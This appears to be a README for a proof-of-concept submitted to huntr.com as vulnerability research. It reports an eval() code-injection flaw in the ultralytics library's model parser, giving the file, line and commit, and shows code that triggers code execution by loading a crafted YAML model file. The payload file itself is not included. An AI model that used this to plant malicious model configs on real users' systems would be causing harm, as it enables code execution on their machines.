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PoC: CWE-94 eval() RCE in ultralytics/ultralytics

Vulnerability: ultralytics/nn/tasks.py:1567 — Conv.default_act = eval(act) on the activation field from a YAML model config.

Affected repo: ultralytics/ultralytics @ 6eddf359

Usage

from ultralytics.nn.tasks import parse_model
from ultralytics.utils import YAML

d = YAML.load("malicious_model.yaml")  # SafeLoader — YAML parsing is safe
parse_model(d, ch=3, verbose=False)    # eval(act) triggers HERE at tasks.py:1567

Or via the standard API:

from ultralytics import YOLO
model = YOLO("malicious_model.yaml")  # RCE on model load

This file is a PoC for a security research submission to huntr.com.

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